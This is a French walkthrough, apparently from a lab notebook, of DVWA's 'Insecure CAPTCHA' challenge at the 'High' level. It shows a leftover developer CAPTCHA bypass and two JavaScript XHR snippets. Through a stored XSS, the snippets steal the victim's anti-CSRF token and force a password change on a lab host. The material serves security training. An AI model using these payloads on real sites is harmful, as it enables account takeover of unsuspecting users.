# Niveau "High"

Quelles nouveautés pour ce niveau "High" ? :

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-Lu2AQnKMqYk0UdP0UNJ%2F-Lu2BNSPEVB66dwYwmay%2F0b72ddd77825da73b7eb9dae362be3ce.png?alt=media\&token=ff9c2009-6e7d-4b60-ab05-3074b14a2914)

Ici pas d'étape de confirmation, le changement du mot de passe est directement effectué :

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-Lu2AQnKMqYk0UdP0UNJ%2F-Lu2BaP3Iw1fkg2CFHdi%2Fde31571ab16a1a06442e7a913a15f3e3.png?alt=media\&token=04517a44-8230-4f8b-a679-95ebad9142bf)

La seule requête effectuée est la suivante :

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-Lu2BcfOI6TEFXtahCwK%2F-Lu2BpuTX-WKerg60s2b%2F01223a528799368e5faf595dae961622.png?alt=media\&token=63f3ce6a-4fc2-4deb-b48f-2f22cec55ce3)

J'identifie rapidement la présence d'un jeton anti-CSRF nommé `user_token`, mais plus intéressant ici, la réponse contient un commentaire HTML :

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-Lu2Bs7lOdEtMq7A5D7T%2F-Lu2C30nVxHJHFwzSNoF%2F7b78c6fe35530fd199e1e35cd62be202.png?alt=media\&token=e44bb76f-6e4a-4ab4-b8a7-ed93f2745c7b)

Il s'agit sans doute d'un contournement mis en place par le développeur afin de tester sa feature sans avoir à résoudre le Captcha. Je forge donc une requête dont la valeur du Captcha (le paramètre `g-recaptcha-response` ) est `hidd3n_valu3` ainsi qu'un entête `User-Agent` possédant la valeur `reCAPTCHA` :

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-Lu2Bs7lOdEtMq7A5D7T%2F-Lu2DGoWYKQNQiS8Ij8_%2Feb6728607b08ade78bea2c5b6c3aac1c.png?alt=media\&token=91a3624c-3e06-4aa6-aac6-8a15f81b6a93)

Le changement du mot de passe fonctionne :

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-Lu2Bs7lOdEtMq7A5D7T%2F-Lu2Dc7T4DszhN3gqYqj%2F9dcf8b33e9273a14a2e8452ac9c9604a.png?alt=media\&token=b2289616-42a5-45cf-9842-a8203a19c4fb)

A cause de la présence du jeton anti-CSRF il me faut exploiter une faille XSS sur l'application cible afin de récupérer un jeton puis seulement effectuer l'attaque CSRF.

{% hint style="info" %}
Pour cela, le challenge XSS Stored sera utilisé et l'injection se fera en niveau "Low". Par contre, il ne faudra pas oublier de repasser en niveau "High" pour l'exploitation du contournement du Captcha.
{% endhint %}

Voici la première requête **`XHR`** :

```javascript
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://192.168.56.203/vulnerabilities/captcha/', true);
xhr.withCredentials = true;
xhr.responseType = "document";

xhr.onload = function () {
    var token = xhr.response.getElementsByName('user_token')[0].value;
               
    // Ici la seconde requête
};

xhr.send();
```

Une fois le jeton récupéré, la seconde requête effectuée sera :

```javascript
var xhr2 = new XMLHttpRequest();
xhr2.open("POST", 'http://192.168.56.203/vulnerabilities/captcha/', true);
xhr2.setRequestHeader("User-Agent", "reCAPTCHA");
xhr2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr2.withCredentials = true;

xhr2.send("step=1&password_new=hacked&password_conf=hacked&g-recaptcha-response=hidd3n_valu3&user_token="+token+"&Change=Change");
```



L'exploitation de la vulnérabilité ne fonctionne pas sous Chrome (testée sur la version 78), car le navigateur interdit la modification de l'entête `User-Agent` :

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-Lu2ER51P54-0bMOTSFm%2F-Lu2KlqbqWEHwrd9fXLs%2Ffbdd68937e48a4a534ac40448edf36a2.png?alt=media\&token=63171c77-e536-4495-8a6d-fd30e6ebb7c6)

Mais cela fonctionne sur Firefox (testée sur la version 70) :

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-Lu2ER51P54-0bMOTSFm%2F-Lu2L3fAg7kaPP4LYpaU%2Fbf87cb7197d49a0befe9976b80d25cef.png?alt=media\&token=d72374e3-2750-4133-82c2-2a5e0d84da39)
